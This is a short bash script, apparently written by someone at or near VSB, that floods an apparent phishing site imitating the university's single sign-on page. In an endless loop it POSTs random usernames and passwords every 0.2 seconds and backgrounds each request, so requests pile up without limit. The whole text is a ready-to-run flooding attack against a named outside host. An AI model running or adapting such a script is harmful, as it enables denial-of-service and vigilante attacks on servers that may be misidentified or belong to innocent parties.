bash 'em phishers

#!/bin/bash

echo "VSB Phishing self defense department Ion Cannon started.";
while :
do
    #create random password 5 - 15 chars
    rndpass=$(cat /dev/urandom | tr -dc 'a-z' | head -c $(($RANDOM % 10 + 5)));

    #create random three chars as prefix of students login
    rndusername=$(cat /dev/urandom | tr -dc 'a-z' | head -c 3);

    #create random  number login suffix
    randomSuffix=$(($RANDOM%1000));

    #pad it to 4 digit format
    randomSuffix=$(printf "%04d" $randomSuffix)

    rndusername=$rndusername$randomSuffix;

    #fire ion cannon
    curl --data "username=$rndusername&password=$rndpass" https://www.sso.vsb.0l.cz/rewrite.php &
    echo "Student sent: $rndusername $rndpass"

    sleep 0.2
done